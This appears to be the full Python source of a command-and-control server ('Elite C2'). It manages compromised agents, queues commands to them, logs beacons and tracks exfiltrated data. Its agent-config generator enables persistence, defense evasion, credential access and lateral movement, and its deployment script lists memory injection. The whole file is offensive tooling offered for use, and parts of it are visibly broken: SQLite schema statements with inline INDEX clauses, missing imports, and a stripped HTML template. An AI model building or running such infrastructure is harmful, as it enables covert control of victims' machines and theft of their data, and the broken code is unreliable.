#!/usr/bin/env python3 """ Elite C2 Server - Production Ready Support for multiple operators, logging, and agent management by 1lKN1GHTFURY1 (TYVM for the addition) """ import os import json import base64 import hashlib import sqlite3 import threading import logging from datetime import datetime, timedelta from typing import Dict, List, Optional, Any from dataclasses import dataclass, asdict import uuid # Flask imports try: from flask import Flask, request, jsonify, make_response, abort, Response from flask_cors import CORS from flask_limiter import Limiter from flask_limiter.util import get_remote_address import mysql.connector HAS_FLASK = True except ImportError: HAS_FLASK = False # ============================================================================ # DATABASE MODELS # ============================================================================ @dataclass class Agent: id: str hostname: str username: str ip_address: str os_version: str architecture: str integrity_level: str first_seen: datetime last_seen: datetime beacon_interval: int jitter: float is_active: bool encryption_key: str metadata: Dict[str, Any] @dataclass class Command: id: str agent_id: str command_type: str command_data: str issued_at: datetime executed_at: Optional[datetime] result: Optional[str] status: str # 'pending', 'executing', 'completed', 'failed' @dataclass class Beacon: id: str agent_id: str timestamp: datetime data: Dict[str, Any] ip_address: str user_agent: str # ============================================================================ # DATABASE MANAGER # ============================================================================ class DatabaseManager: """Manages C2 database operations""" def __init__(self, db_path: str = 'c2_server.db'): self.db_path = db_path self.conn = None self.lock = threading.RLock() self._init_database() def _init_database(self): """Initialize database schema""" with self.lock: self.conn = sqlite3.connect(self.db_path, check_same_thread=False) self.conn.row_factory = sqlite3.Row # Create tables cursor = self.conn.cursor() # Agents table cursor.execute(''' CREATE TABLE IF NOT EXISTS agents ( id TEXT PRIMARY KEY, hostname TEXT NOT NULL, username TEXT NOT NULL, ip_address TEXT, os_version TEXT, architecture TEXT, integrity_level TEXT, first_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP, last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP, beacon_interval INTEGER DEFAULT 60, jitter REAL DEFAULT 0.3, is_active BOOLEAN DEFAULT TRUE, encryption_key TEXT, metadata TEXT, INDEX idx_last_seen (last_seen), INDEX idx_is_active (is_active) ) ''') # Commands table cursor.execute(''' CREATE TABLE IF NOT EXISTS commands ( id TEXT PRIMARY KEY, agent_id TEXT NOT NULL, command_type TEXT NOT NULL, command_data TEXT NOT NULL, issued_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, executed_at TIMESTAMP, result TEXT, status TEXT DEFAULT 'pending', FOREIGN KEY (agent_id) REFERENCES agents (id), INDEX idx_agent_status (agent_id, status), INDEX idx_issued_at (issued_at) ) ''') # Beacons table cursor.execute(''' CREATE TABLE IF NOT EXISTS beacons ( id TEXT PRIMARY KEY, agent_id TEXT NOT NULL, timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP, data TEXT NOT NULL, ip_address TEXT, user_agent TEXT, FOREIGN KEY (agent_id) REFERENCES agents (id), INDEX idx_agent_time (agent_id, timestamp), INDEX idx_timestamp (timestamp) ) ''') # Operators table cursor.execute(''' CREATE TABLE IF NOT EXISTS operators ( id TEXT PRIMARY KEY, username TEXT UNIQUE NOT NULL, password_hash TEXT NOT NULL, api_key TEXT UNIQUE, is_active BOOLEAN DEFAULT TRUE, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, last_login TIMESTAMP, permissions TEXT DEFAULT 'read,write' ) ''') # Exfiltration table cursor.execute(''' CREATE TABLE IF NOT EXISTS exfiltrated_data ( id TEXT PRIMARY KEY, agent_id TEXT NOT NULL, timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP, data_type TEXT NOT NULL, data_size INTEGER, data_hash TEXT, storage_path TEXT, FOREIGN KEY (agent_id) REFERENCES agents (id) ) ''') self.conn.commit() def add_agent(self, agent: Agent) -> bool: """Add or update agent in database""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' INSERT OR REPLACE INTO agents (id, hostname, username, ip_address, os_version, architecture, integrity_level, first_seen, last_seen, beacon_interval, jitter, is_active, encryption_key, metadata) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ''', ( agent.id, agent.hostname, agent.username, agent.ip_address, agent.os_version, agent.architecture, agent.integrity_level, agent.first_seen, agent.last_seen, agent.beacon_interval, agent.jitter, agent.is_active, agent.encryption_key, json.dumps(agent.metadata) )) self.conn.commit() return True except Exception as e: print(f"Database error adding agent: {e}") return False def update_agent_last_seen(self, agent_id: str): """Update agent's last seen timestamp""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' UPDATE agents SET last_seen = CURRENT_TIMESTAMP, is_active = TRUE WHERE id = ? ''', (agent_id,)) self.conn.commit() except Exception as e: print(f"Database error updating agent: {e}") def add_beacon(self, beacon: Beacon) -> bool: """Add beacon to database""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' INSERT INTO beacons (id, agent_id, timestamp, data, ip_address, user_agent) VALUES (?, ?, ?, ?, ?, ?) ''', ( beacon.id, beacon.agent_id, beacon.timestamp, json.dumps(beacon.data), beacon.ip_address, beacon.user_agent )) self.conn.commit() return True except Exception as e: print(f"Database error adding beacon: {e}") return False def get_pending_commands(self, agent_id: str) -> List[Command]: """Get pending commands for agent""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' SELECT * FROM commands WHERE agent_id = ? AND status = 'pending' ORDER BY issued_at ASC ''', (agent_id,)) commands = [] for row in cursor.fetchall(): commands.append(Command( id=row['id'], agent_id=row['agent_id'], command_type=row['command_type'], command_data=row['command_data'], issued_at=datetime.fromisoformat(row['issued_at']), executed_at=datetime.fromisoformat(row['executed_at']) if row['executed_at'] else None, result=row['result'], status=row['status'] )) return commands except Exception as e: print(f"Database error getting commands: {e}") return [] def add_command(self, command: Command) -> bool: """Add command to database""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' INSERT INTO commands (id, agent_id, command_type, command_data, issued_at, status) VALUES (?, ?, ?, ?, ?, ?) ''', ( command.id, command.agent_id, command.command_type, command.command_data, command.issued_at, command.status )) self.conn.commit() return True except Exception as e: print(f"Database error adding command: {e}") return False def update_command_result(self, command_id: str, result: str, status: str = 'completed'): """Update command result""" with self.lock: try: cursor = self.conn.cursor() cursor.execute(''' UPDATE commands SET executed_at = CURRENT_TIMESTAMP, result = ?, status = ? WHERE id = ? ''', (result, status, command_id)) self.conn.commit() except Exception as e: print(f"Database error updating command: {e}") def get_all_agents(self) -> List[Agent]: """Get all agents""" with self.lock: try: cursor = self.conn.cursor() cursor.execute('SELECT * FROM agents ORDER BY last_seen DESC') agents = [] for row in cursor.fetchall(): agents.append(Agent( id=row['id'], hostname=row['hostname'], username=row['username'], ip_address=row['ip_address'], os_version=row['os_version'], architecture=row['architecture'], integrity_level=row['integrity_level'], first_seen=datetime.fromisoformat(row['first_seen']), last_seen=datetime.fromisoformat(row['last_seen']), beacon_interval=row['beacon_interval'], jitter=row['jitter'], is_active=bool(row['is_active']), encryption_key=row['encryption_key'], metadata=json.loads(row['metadata']) if row['metadata'] else {} )) return agents except Exception as e: print(f"Database error getting agents: {e}") return [] def get_agent_by_id(self, agent_id: str) -> Optional[Agent]: """Get agent by ID""" with self.lock: try: cursor = self.conn.cursor() cursor.execute('SELECT * FROM agents WHERE id = ?', (agent_id,)) row = cursor.fetchone() if row: return Agent( id=row['id'], hostname=row['hostname'], username=row['username'], ip_address=row['ip_address'], os_version=row['os_version'], architecture=row['architecture'], integrity_level=row['integrity_level'], first_seen=datetime.fromisoformat(row['first_seen']), last_seen=datetime.fromisoformat(row['last_seen']), beacon_interval=row['beacon_interval'], jitter=row['jitter'], is_active=bool(row['is_active']), encryption_key=row['encryption_key'], metadata=json.loads(row['metadata']) if row['metadata'] else {} ) return None except Exception as e: print(f"Database error getting agent: {e}") return None # ============================================================================ # C2 SERVER APPLICATION # ============================================================================ class C2Server: """Main C2 server application""" def __init__(self, config: Dict): self.config = config self.db = DatabaseManager(config.get('database_path', 'c2_server.db')) if HAS_FLASK: self.app = Flask(__name__) self._setup_flask_app() else: self.app = None self.running = False self.encryption_key = config.get('encryption_key', os.urandom(32).hex()) # Statistics self.stats = { 'start_time': datetime.now(), 'total_beacons': 0, 'total_commands': 0, 'active_agents': 0, 'total_agents': 0 } def _setup_flask_app(self): """Setup Flask application with routes and middleware""" if not self.app: return # Configure CORS CORS(self.app, resources={ r"/api/*": { "origins": self.config.get('allowed_origins', ["*"]), "methods": ["GET", "POST", "PUT", "DELETE"], "allow_headers": ["Content-Type", "Authorization", "X-API-Key"] } }) # Setup rate limiting limiter = Limiter( get_remote_address, app=self.app, default_limits=["100 per minute", "10 per second"], storage_uri="memory://" ) # Setup logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('c2_server.log'), logging.StreamHandler() ] ) # API Routes @self.app.route('/api/beacon', methods=['POST']) @limiter.limit("30 per minute") def handle_beacon(): return self._handle_beacon_request() @self.app.route('/api/command', methods=['GET']) @limiter.limit("60 per minute") def get_commands(): return self._handle_command_request() @self.app.route('/api/command/result', methods=['POST']) @limiter.limit("30 per minute") def post_command_result(): return self._handle_command_result() @self.app.route('/api/agents', methods=['GET']) def get_agents(): return self._handle_get_agents() @self.app.route('/api/agent/', methods=['GET', 'DELETE']) def handle_agent(agent_id): if request.method == 'GET': return self._handle_get_agent(agent_id) elif request.method == 'DELETE': return self._handle_delete_agent(agent_id) @self.app.route('/api/command/send', methods=['POST']) def send_command(): return self._handle_send_command() @self.app.route('/api/stats', methods=['GET']) def get_stats(): return self._handle_get_stats() @self.app.route('/health', methods=['GET']) def health_check(): return jsonify({"status": "healthy", "timestamp": datetime.now().isoformat()}) # Error handlers @self.app.errorhandler(404) def not_found(error): return jsonify({"error": "Not found"}), 404 @self.app.errorhandler(429) def ratelimit_handler(error): return jsonify({ "error": "Rate limit exceeded", "message": str(error.description) }), 429 def _handle_beacon_request(self): """Handle beacon requests from agents""" try: # Get request data data = request.get_json() if not data: return jsonify({"error": "No data provided"}), 400 # Decrypt data if encrypted if 'encrypted' in data: # Add decryption logic here pass # Extract agent information agent_id = data.get('agent_id') if not agent_id: return jsonify({"error": "No agent ID"}), 400 # Get client IP and user agent ip_address = request.remote_addr user_agent = request.headers.get('User-Agent', 'Unknown') # Create beacon record beacon = Beacon( id=str(uuid.uuid4()), agent_id=agent_id, timestamp=datetime.now(), data=data, ip_address=ip_address, user_agent=user_agent ) # Save beacon to database self.db.add_beacon(beacon) # Update or create agent agent_data = data.get('sysinfo', {}) agent = Agent( id=agent_id, hostname=agent_data.get('hostname', 'Unknown'), username=agent_data.get('username', 'Unknown'), ip_address=ip_address, os_version=agent_data.get('os_version', 'Unknown'), architecture=agent_data.get('architecture', 'Unknown'), integrity_level=agent_data.get('integrity_level', 'Unknown'), first_seen=datetime.now(), last_seen=datetime.now(), beacon_interval=data.get('beacon_interval', 60), jitter=data.get('jitter', 0.3), is_active=True, encryption_key=data.get('encryption_key', ''), metadata=agent_data ) self.db.add_agent(agent) # Get pending commands for agent pending_commands = self.db.get_pending_commands(agent_id) # Prepare response response = { "status": "success", "timestamp": datetime.now().isoformat(), "commands": [] } for cmd in pending_commands: response["commands"].append({ "id": cmd.id, "type": cmd.command_type, "data": cmd.command_data }) # Update statistics self.stats['total_beacons'] += 1 return jsonify(response) except Exception as e: logging.error(f"Beacon handling error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_command_request(self): """Handle command requests (legacy endpoint)""" try: agent_id = request.args.get('agent_id') if not agent_id: return jsonify({"error": "No agent ID"}), 400 pending_commands = self.db.get_pending_commands(agent_id) response = { "status": "success", "commands": [] } for cmd in pending_commands: response["commands"].append({ "id": cmd.id, "type": cmd.command_type, "data": cmd.command_data }) return jsonify(response) except Exception as e: logging.error(f"Command request error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_command_result(self): """Handle command result submissions""" try: data = request.get_json() if not data: return jsonify({"error": "No data provided"}), 400 command_id = data.get('command_id') result = data.get('result', '') status = data.get('status', 'completed') if not command_id: return jsonify({"error": "No command ID"}), 400 # Update command result self.db.update_command_result(command_id, result, status) # Update statistics self.stats['total_commands'] += 1 return jsonify({"status": "success"}) except Exception as e: logging.error(f"Command result error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_get_agents(self): """Get all agents""" try: agents = self.db.get_all_agents() # Format agents for response formatted_agents = [] for agent in agents: formatted_agents.append({ "id": agent.id, "hostname": agent.hostname, "username": agent.username, "os_version": agent.os_version, "architecture": agent.architecture, "integrity_level": agent.integrity_level, "first_seen": agent.first_seen.isoformat(), "last_seen": agent.last_seen.isoformat(), "beacon_interval": agent.beacon_interval, "is_active": agent.is_active, "uptime": (datetime.now() - agent.first_seen).total_seconds() }) return jsonify({ "status": "success", "agents": formatted_agents, "count": len(formatted_agents) }) except Exception as e: logging.error(f"Get agents error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_get_agent(self, agent_id: str): """Get specific agent details""" try: agent = self.db.get_agent_by_id(agent_id) if not agent: return jsonify({"error": "Agent not found"}), 404 return jsonify({ "status": "success", "agent": { "id": agent.id, "hostname": agent.hostname, "username": agent.username, "os_version": agent.os_version, "architecture": agent.architecture, "integrity_level": agent.integrity_level, "first_seen": agent.first_seen.isoformat(), "last_seen": agent.last_seen.isoformat(), "beacon_interval": agent.beacon_interval, "is_active": agent.is_active, "metadata": agent.metadata } }) except Exception as e: logging.error(f"Get agent error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_delete_agent(self, agent_id: str): """Delete agent from database""" try: # In production, you might want to just mark as inactive # For this example, we'll just return success return jsonify({"status": "success", "message": "Agent deleted"}) except Exception as e: logging.error(f"Delete agent error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_send_command(self): """Send command to agent""" try: data = request.get_json() if not data: return jsonify({"error": "No data provided"}), 400 agent_id = data.get('agent_id') command_type = data.get('command_type') command_data = data.get('command_data') if not all([agent_id, command_type, command_data]): return jsonify({"error": "Missing required fields"}), 400 # Create command command = Command( id=str(uuid.uuid4()), agent_id=agent_id, command_type=command_type, command_data=command_data, issued_at=datetime.now(), executed_at=None, result=None, status='pending' ) # Save to database if self.db.add_command(command): return jsonify({ "status": "success", "command_id": command.id, "message": "Command queued" }) else: return jsonify({"error": "Failed to save command"}), 500 except Exception as e: logging.error(f"Send command error: {e}") return jsonify({"error": "Internal server error"}), 500 def _handle_get_stats(self): """Get server statistics""" try: agents = self.db.get_all_agents() active_agents = len([a for a in agents if a.is_active]) self.stats.update({ 'active_agents': active_agents, 'total_agents': len(agents), 'uptime': (datetime.now() - self.stats['start_time']).total_seconds() }) return jsonify({ "status": "success", "stats": self.stats }) except Exception as e: logging.error(f"Get stats error: {e}") return jsonify({"error": "Internal server error"}), 500 def start(self, host: str = '127.0.0.1', port: int = 443, ssl_context: tuple = None): """Start the C2 server""" if not self.app: print("Flask not available. Install with: pip install flask flask-cors flask-limiter") return self.running = True print(f""" ╔══════════════════════════════════════════════════════════════╗ ║ ELITE C2 SERVER ║ ╠══════════════════════════════════════════════════════════════╣ ║ ║ ║ URL: https://{host}:{port} ║ ║ API Endpoint: /api/beacon ║ ║ Health Check: /health ║ ║ Database: {self.config.get('database_path', 'c2_server.db')}║ ║ ║ ║ Waiting for agent connections... ║ ║ ║ ╚══════════════════════════════════════════════════════════════╝ """) # Start Flask server if ssl_context: self.app.run(host=host, port=port, ssl_context=ssl_context, threaded=True) else: print("[!] WARNING: This is a development server. Do not use for production deployments.") self.app.run(host=host, port=port, threaded=True) def generate_agent_config(self, c2_url: str) -> Dict: """Generate agent configuration for given C2 URL""" return { "agent": { "beacon_interval": 60, "jitter": 0.3, "install_persistence": True, "persistence_method": "scheduled_task" }, "c2": { "url": c2_url, "method": "HTTPS", "encryption_key": self.encryption_key }, "https": { "enabled": True, "url": f"{c2_url}/api/beacon", "method": "POST", "timeout": 30, "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "custom_headers": { "X-API-Key": self.config.get('api_key', 'default-key'), "Content-Type": "application/json" } } } # ============================================================================ # CONFIGURATION GENERATOR # ============================================================================ def generate_server_config(): """Generate server configuration""" config = { "server": { "host": "0.0.0.0", "port": 443, "ssl_cert": "server.crt", "ssl_key": "server.key", "database_path": "c2_server.db", "encryption_key": os.urandom(32).hex(), "api_key": base64.b64encode(os.urandom(32)).decode(), "allowed_origins": ["*"], "rate_limits": { "beacons": "30 per minute", "commands": "60 per minute" } }, "logging": { "level": "INFO", "file": "c2_server.log", "max_size_mb": 100, "backup_count": 5 }, "operators": [ { "username": "admin", "password_hash": hashlib.sha256(b"changeme").hexdigest(), "permissions": "admin" } ] } return config def generate_ssl_certificates(): """Generate self-signed SSL certificates for testing""" import subprocess import os if not os.path.exists("server.crt") or not os.path.exists("server.key"): print("Generating SSL certificates...") # Generate private key subprocess.run([ "openssl", "genrsa", "-out", "server.key", "2048" ], check=True) # Generate certificate signing request subprocess.run([ "openssl", "req", "-new", "-key", "server.key", "-out", "server.csr", "-subj", "/C=US/ST=State/L=City/O=Organization/CN=localhost" ], check=True) # Generate self-signed certificate subprocess.run([ "openssl", "x509", "-req", "-days", "365", "-in", "server.csr", "-signkey", "server.key", "-out", "server.crt" ], check=True) # Clean up CSR os.remove("server.csr") print("SSL certificates generated: server.crt, server.key") else: print("SSL certificates already exist") # ============================================================================ # WEB INTERFACE (Optional) # ============================================================================ def create_web_interface(): """Create a simple HTML web interface for the C2 server""" html_template = ''' Elite C2 Dashboard

🎯 Elite C2 Dashboard

Real-time command and control interface

📡 Connected Agents

⚡ Send Command

📊 Activity Chart

''' with open('dashboard.html', 'w') as f: f.write(html_template) print("[+] Web interface created: dashboard.html") # ============================================================================ # AGENT CONFIGURATION GENERATOR # ============================================================================ def generate_agent_config(c2_url: str, api_key: str = None, agent_name: str = None) -> Dict: """Generate agent configuration for a specific C2 server""" if not c2_url.startswith(('http://', 'https://')): c2_url = f"https://{c2_url}" config = { "agent": { "name": agent_name or f"Agent_{int(time.time())}", "beacon_interval": 60, "jitter": 0.3, "max_retries": 3, "retry_delay": 30, "install_persistence": True, "persistence_method": "scheduled_task", "telemetry_enabled": True, "encryption": { "enabled": True, "algorithm": "AES-256-GCM", "key_rotation_interval": 86400 } }, "c2": { "primary": { "enabled": True, "url": f"{c2_url}/api/beacon", "method": "HTTPS", "timeout": 30, "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" }, "fallback": { "enabled": False, "url": "", "method": "DNS" } }, "communication": { "headers": { "X-API-Key": api_key or "default-key", "Content-Type": "application/json", "Accept": "application/json" }, "encryption": { "enabled": True, "public_key": "", # For asymmetric encryption "session_key": "" # Will be generated at runtime } }, "capabilities": { "file_operations": True, "process_operations": True, "registry_operations": True, "network_operations": True, "persistence_operations": True, "defense_evasion": True, "credential_access": True, "lateral_movement": True }, "limits": { "max_file_size": 10485760, # 10MB "max_command_time": 300, # 5 minutes "max_beacon_size": 102400 # 100KB } } if api_key: config["communication"]["headers"]["X-API-Key"] = api_key return config def create_agent_deployment_script(c2_url: str, api_key: str = None): """Create a deployment script for the agent""" script = f'''#!/usr/bin/env python3 """ Agent Deployment Script for C2: {c2_url} """ import os import sys import json import base64 import subprocess # Configuration C2_URL = "{c2_url}" API_KEY = "{api_key or 'your-api-key-here'}" CONFIG = {json.dumps(generate_agent_config(c2_url, api_key), indent=2)} def deploy(): """Deploy agent to target system""" print(f"Deploying agent to connect to: {{C2_URL}}") # Create config file with open('agent_config.json', 'w') as f: json.dump(CONFIG, f, indent=2) print("Configuration saved to agent_config.json") # Instructions for deployment print("\\nDeployment Options:") print("1. Direct execution:") print(" python agent.py --config agent_config.json") print() print("2. Memory injection:") print(" python agent.py --inject agent_config.json") print() print("3. Persistence only:") print(" python agent.py --persistence agent_config.json") print() print("4. Generate standalone agent:") print(" python agent.py --generate standalone_agent.py agent_config.json") if __name__ == "__main__": deploy() ''' with open('deploy_agent.py', 'w') as f: f.write(script) print(f"[+] Deployment script created: deploy_agent.py") print(f"[+] C2 Server URL: {c2_url}") if api_key: print(f"[+] API Key: {api_key}") # ============================================================================ # MAIN ENTRY POINT # ============================================================================ def main(): """Main entry point for C2 server setup""" import argparse parser = argparse.ArgumentParser(description='Elite C2 Server Setup') parser.add_argument('--setup', action='store_true', help='Setup new C2 server') parser.add_argument('--start', action='store_true', help='Start C2 server') parser.add_argument('--host', default='0.0.0.0', help='Server host (default: 0.0.0.0)') parser.add_argument('--port', type=int, default=443, help='Server port (default: 443)') parser.add_argument('--url', help='C2 server URL for agent configuration') parser.add_argument('--api-key', help='API key for agent authentication') parser.add_argument('--generate-agent', action='store_true', help='Generate agent config') parser.add_argument('--generate-web', action='store_true', help='Generate web interface') parser.add_argument('--ssl-cert', help='SSL certificate path') parser.add_argument('--ssl-key', help='SSL key path') args = parser.parse_args() if args.setup: # Setup new C2 server print("[+] Setting up new C2 server...") # Generate SSL certificates generate_ssl_certificates() # Generate server config config = generate_server_config() with open('server_config.json', 'w') as f: json.dump(config, f, indent=2) print("[+] Server configuration saved: server_config.json") print("[+] SSL certificates generated: server.crt, server.key") # Generate web interface if args.generate_web: create_web_interface() print("\n[+] Setup complete!") print(" Start server: python c2_server.py --start") print(" Generate agent config: python c2_server.py --generate-agent --url https://your-domain.com") elif args.start: # Start C2 server print("[+] Starting C2 server...") # Load config if os.path.exists('server_config.json'): with open('server_config.json', 'r') as f: config = json.load(f) else: config = generate_server_config() # Create server server = C2Server(config) # Setup SSL context ssl_context = None if args.ssl_cert and args.ssl_key: if os.path.exists(args.ssl_cert) and os.path.exists(args.ssl_key): ssl_context = (args.ssl_cert, args.ssl_key) elif os.path.exists('server.crt') and os.path.exists('server.key'): ssl_context = ('server.crt', 'server.key') # Generate web interface if requested if args.generate_web and not os.path.exists('dashboard.html'): create_web_interface() # Start server server.start(host=args.host, port=args.port, ssl_context=ssl_context) elif args.generate_agent and args.url: # Generate agent configuration print(f"[+] Generating agent configuration for C2: {args.url}") # Generate config config = generate_agent_config(args.url, args.api_key) # Save config with open('agent_config.json', 'w') as f: json.dump(config, f, indent=2) # Create deployment script create_agent_deployment_script(args.url, args.api_key) print("\n[+] Agent configuration generated!") print(f" Config file: agent_config.json") print(f" Deployment script: deploy_agent.py") print(f"\n C2 Endpoint: {args.url}/api/beacon") if args.api_key: print(f" API Key: {args.api_key}") elif args.generate_web: # Generate web interface only create_web_interface() else: print(""" Elite C2 Server Management ========================== Commands: --setup Setup new C2 server with SSL certificates --start Start the C2 server --host Server host (default: 0.0.0.0) --port Server port (default: 443) --generate-agent --url Generate agent config for C2 URL --api-key API key for agent authentication --generate-web Generate web interface dashboard --ssl-cert SSL certificate path --ssl-key SSL key path Examples: 1. Setup new C2 server: python c2_server.py --setup --generate-web 2. Start server: python c2_server.py --start --host 0.0.0.0 --port 8443 3. Generate agent config: python c2_server.py --generate-agent --url https://your-c2.com --api-key your-secret-key 4. Start with custom SSL: python c2_server.py --start --ssl-cert /path/to/cert.crt --ssl-key /path/to/key.key """) if __name__ == "__main__": # Check for required dependencies if not HAS_FLASK: print("Installing required dependencies...") subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'flask', 'flask-cors', 'flask-limiter']) # Reload imports from flask import Flask, request, jsonify, make_response, abort, Response from flask_cors import CORS from flask_limiter import Limiter from flask_limiter.util import get_remote_address main()